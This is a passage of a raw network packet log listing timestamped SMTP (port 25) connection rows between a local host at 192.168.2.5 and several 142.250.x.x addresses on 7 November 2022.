Nov 7, 2022 22:24:52.836119890 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.836385965 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.850095987 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.859890938 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.859937906 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.860114098 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.860116005 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.860137939 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.860227108 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.860261917 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.861743927 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.861927032 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.861948967 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.861968994 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.861989021 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862009048 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862027884 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862106085 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862132072 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862153053 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862171888 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862193108 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862215996 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862237930 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862262011 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862283945 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862307072 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862327099 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862349033 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862369061 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862390995 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862401962 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862401962 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862411976 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862435102 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862457037 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862457991 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862478018 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862482071 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862498045 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862504959 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862519026 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862535000 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862571001 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862591982 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862610102 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862634897 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862656116 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862672091 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862672091 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862678051 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862696886 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862698078 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862716913 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862719059 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862736940 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862736940 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.862757921 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.862788916 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886656046 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886737108 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886765003 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886790991 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886816025 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886837006 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886841059 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886850119 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886842012 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886842012 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886863947 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886931896 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886950970 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886965036 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.886976004 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886976004 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886976004 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.886996031 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887023926 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887048006 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887073994 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887084961 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887084961 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887099028 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887124062 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887131929 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887149096 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887172937 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887181997 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887181997 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887197971 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887223005 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887245893 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887247086 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887271881 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887279987 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887296915 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887305021 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887321949 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887335062 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887346983 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887370110 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887383938 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887394905 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887418985 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887437105 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887444973 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887463093 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887471914 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887481928 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887499094 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887522936 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887541056 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887553930 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887561083 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887553930 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887586117 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.887603998 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.887641907 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.888797045 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.888916016 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.888948917 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889003038 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889062881 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889091015 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889117002 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889143944 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889168978 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889189005 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889206886 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889209032 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889206886 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889240026 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889260054 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889265060 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889286995 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889288902 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889317036 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889337063 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889342070 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889367104 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889374971 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889393091 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889417887 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889421940 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.889444113 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889461994 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889476061 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889497042 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889534950 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889558077 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889580965 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889601946 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889620066 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889648914 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889667988 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889688969 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889718056 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889740944 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889765978 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889786959 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889812946 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889837027 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889858961 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889880896 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.889904976 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.904937029 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:52.909235001 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:52.914000988 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914052010 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914079905 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914100885 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914128065 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914149046 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914166927 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914186001 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914206982 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914355040 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914386034 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914413929 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914439917 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914463043 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914482117 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914503098 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914524078 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914545059 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914643049 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914674997 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914702892 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914724112 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914745092 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914805889 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914841890 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914866924 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914907932 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914933920 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914961100 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.914994955 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915024996 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915044069 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915056944 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915154934 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915184021 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915208101 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915230036 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915258884 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915281057 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.915302992 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916599989 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916639090 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916662931 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916683912 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916706085 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916727066 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916749001 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916769981 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916790009 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916810989 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916832924 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916852951 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916873932 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916893959 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916913033 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916933060 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916951895 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.916970968 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917068005 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917088985 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917107105 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917125940 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917145967 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917165995 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917185068 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917201996 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917224884 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917244911 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917263985 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917284012 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917304039 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917327881 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917347908 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917367935 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917398930 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917418003 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917437077 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917455912 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917474985 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917495012 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917515039 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917532921 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917643070 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917665005 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917685032 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917702913 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917721033 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917936087 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917958021 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.917999029 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918019056 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918036938 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918055058 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918072939 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918092012 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918153048 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918248892 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918278933 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918302059 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918319941 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918395996 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918416023 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918435097 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918486118 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918565989 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.918586016 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.949508905 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.969146967 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:52.976111889 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.984292984 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.984431028 CET	25	49845	142.250.102.27	192.168.2.5
Nov 7, 2022 22:24:52.984592915 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:52.997225046 CET	49845	25	192.168.2.5	142.250.102.27
Nov 7, 2022 22:24:53.047914982 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.047966957 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.047993898 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048016071 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048037052 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048057079 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048079014 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048144102 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048175097 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048213005 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048263073 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048306942 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048306942 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048382998 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048468113 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048700094 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048728943 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048818111 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048866987 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.048924923 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048952103 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.048978090 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049000978 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049017906 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049041033 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.049045086 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049067020 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049092054 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.049094915 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.049217939 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.098372936 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.098656893 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.152774096 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.153191090 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.183590889 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.243191957 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.243267059 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.290038109 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.297415972 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344218969 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344264030 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344286919 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344307899 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344327927 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344347954 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344368935 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344389915 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344405890 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.344413996 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344435930 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.344460011 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.344485998 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.344506979 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.365005970 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365042925 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365066051 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365088940 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365112066 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365138054 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365151882 CET	49820	25	192.168.2.5	142.250.157.26
